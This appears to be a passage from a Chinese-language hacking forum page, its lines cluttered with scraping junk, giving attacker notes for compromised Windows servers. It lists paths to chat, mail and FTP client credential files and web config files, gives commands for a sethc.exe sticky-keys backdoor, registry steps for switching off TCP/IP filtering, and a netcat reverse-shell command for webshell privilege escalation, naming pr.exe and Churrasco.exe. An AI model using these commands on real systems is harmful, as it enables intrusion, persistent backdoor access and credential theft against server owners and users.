/ p9 z/ H8 Z% ^c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
4 j* A' f: d$ wc:\Program Files\Tencent\RTXServer\AppConfig.xml
: U, \" P+ J  j) u9 F9 y& fC:\Program Files\Foxmal\Foxmail.exe
3 ?/ |& {* x6 c/ y; A. v8 \C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
2 E1 b5 X1 K; h) M/ C( wC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
9 V8 z' |; P8 ?% Jc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
. q7 H; V2 a9 m6 ?2 k6 @C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
% t/ G" ~6 `  k8 g, U4 kc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
: Y6 B8 O; O# e+ w9 @1 X  g' o/ s
% c* S+ `" r0 T) `0 W3.网站相对路径:
$ X- D* b, Q8 R
/config.php
../../config.php
$ D9 e1 m8 z2 E4 ?, w; |../config.php
) r: o2 H9 x- ^. e8 j3 ~../../../config.php
3 ^( o; Y9 f* {, {+ o& u/config.inc.php
8 t4 U  D7 y/ o./config.inc.php
, M) m# @: H$ t- a; l. E# K$ V3 I../../config.inc.php
../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
../../conn.php
../conn.php
) i' I! I! Q4 [) T* Y% n3 A1 Q../../../conn.php
1 f7 I2 `) b) n# D5 @( G+ V/conn.asp
./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
# B( s. t- h) Y5 U+ o. B! ]/config.inc.php
1 o4 u9 r7 q7 s" Q* P& O./config.inc.php
../../config.inc.php
. a! V8 `( l$ r, _' v8 }, S../config.inc.php
. s4 P  q4 y% G../../../config.inc.php
/config/config.php
, l' s5 L& V5 q- J: [../../config/config.php
../config/config.php
../../../config/config.php
# k8 z6 _# O, w) V6 ^: U/config/config.inc.php
6 u+ X  ^8 @. [6 T% e./config/config.inc.php
../../config/config.inc.php
* H; M/ b8 U. {, v9 _8 d../config/config.inc.php
+ Y0 P3 H4 }0 B1 Y" I../../../config/config.inc.php
& B8 I! g7 D) {( D. }/config/conn.php
$ t4 u9 w# Z! }2 }. l. B./config/conn.php
../../config/conn.php
2 T. ~6 M5 J' \9 I! _../config/conn.php
$ ~& Q, e. [4 P- X../../../config/conn.php
  U0 C; u  j: O9 a% y/config/conn.asp
: ]8 i& M: K6 }. K/ f! h./config/conn.asp
../../config/conn.asp
9 |/ w& f+ I/ s/ K/ _5 Y5 U" x../config/conn.asp
% C+ y/ e8 I. _3 `8 I1 I! s../../../config/conn.asp
/config/config.inc.php
/ i' F; o- {& B' e7 z/ l6 `( @5 D* L& u./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/ c4 b0 Z$ L2 ~8 {5 c7 T7 g* D0 z/data/config.php
( r4 t' o' t  C. |. l../../data/config.php
. |0 @/ V- X6 `  U' {# t# F../data/config.php
. H6 `- r& b) V2 `+ c../../../data/config.php
: `+ L" _/ S/ y# |/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
3 p5 S0 {+ J* I) `../data/config.inc.php
../../../data/config.inc.php
# {/ R. a' @7 t/data/conn.php
  Q2 ]4 M4 O2 a; T./data/conn.php
../../data/conn.php
../data/conn.php
; `& s# Q7 q/ k& c3 Q7 j. k../../../data/conn.php
& v  j) r. I8 o2 Z6 q% J( v/data/conn.asp
./data/conn.asp
../../data/conn.asp
../data/conn.asp
5 u$ X% g( U6 i# s0 n& d../../../data/conn.asp
6 \* r0 n5 b. T1 F5 }- w7 A7 p9 A/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
8 `# k: s6 M  a2 G3 j$ X% \../data/config.inc.php
../../../data/config.inc.php
/include/config.php
  R2 c4 r8 ]/ Z, Z  R5 F../../include/config.php
../include/config.php
../../../include/config.php
/include/config.inc.php
% t4 F1 J9 |3 ?8 x  a7 N./include/config.inc.php
$ {; d% J, Q( t6 G* W2 _5 V! N( u! e../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
./include/conn.php
../../include/conn.php
4 T) N( t# K  H0 R../include/conn.php
../../../include/conn.php
/include/conn.asp
./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
2 |: D$ H1 m* g  r../../include/config.inc.php
9 S6 O1 K8 t) M$ K+ y# q../include/config.inc.php
../../../include/config.inc.php
5 w% K1 R( N! k' h  M/inc/config.php
8 S& c6 M4 I, U$ W  O../../inc/config.php
../inc/config.php
5 \$ L" u1 t1 A. t- q: X& k../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
  i2 U+ F" T% ]/inc/conn.php
./inc/conn.php
../../inc/conn.php
/ _( T# \+ R1 _! y5 Q9 V1 u4 Q../inc/conn.php
0 S8 X- c! D6 i& b7 c( ?% ?! W* l../../../inc/conn.php
! e& v7 ]6 L- u: ?2 d% n! g/inc/conn.asp
./inc/conn.asp
6 a2 A5 K6 N- b. R" \, {5 b../../inc/conn.asp
, ~; j+ |) j/ P../inc/conn.asp
../../../inc/conn.asp
6 D* y' \/ f( y9 A- L2 {/inc/config.inc.php
5 M3 d5 a  S& r* T5 F./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
, O) U9 p0 ]* J8 I0 t* E5 m../../../inc/config.inc.php
/index.php
./index.php
../../index.php
5 B$ \. m* J! q( d9 z4 K% V# d../index.php
. o/ d6 Y. ]2 r* N../../../index.php
4 g" f! D  \! @% c/index.asp
4 H4 J& L4 p6 B1 E" b./index.asp
. u5 ~8 B* m8 h6 o& U# L: P; J../../index.asp
% r2 W& g0 z) J8 m* y. ~../index.asp
../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

( i0 B1 O) @5 ^, Z　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
5 I( D. Z/ ^  A0 v( v* O0 ?
　　del c:\windows\system32\sethc.exe

" p! W( ^; V: [/ K. c9 p( `　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

! S7 p7 W) Z* f6 p% |# @: M/ D　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
- y8 R* _+ x, H* A' B, e9 J
& `1 R  x) |0 j% Y# h1 {　　attrib c:\windows\system32\sethc.exe +h +r +s

* E& g6 Y7 ^, I1 ^  C+ v　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
1 C/ s; n$ m! q9 E  KTCP/IP筛选在注册表里有三处，分别是：
0 m% X- ~; ~# iHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
, d* t* B( `6 `$ @( QHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
5 J$ Y7 J" k- C0 _) U5 Q5 MHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
, ^  q$ D5 N3 B
$ s/ e* }6 O; J8 p; ]分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
3 X$ u; R$ {1 t6 ^; p, Z
再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
+ |, G4 z' U) d6 o导入注册表即可
% c. S( }$ s  \  W
webshell提权小技巧
5 [3 R0 ~1 S/ F6 e$ bcmd路径:
5 M. Z7 I/ z3 O& x+ Wc:\windows\temp\cmd.exe
nc也在同目录下
' e8 t' F" A& a  K$ c例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
/ k/ L0 n1 ?) H& k; V: n通常都不会成功。

- `: P1 @) Z9 q* B! e( Z' [而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
( l( j% _$ _5 \* B. A0 P) U8 r% C这个不是重点
' p) F' @+ L* G8 o我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功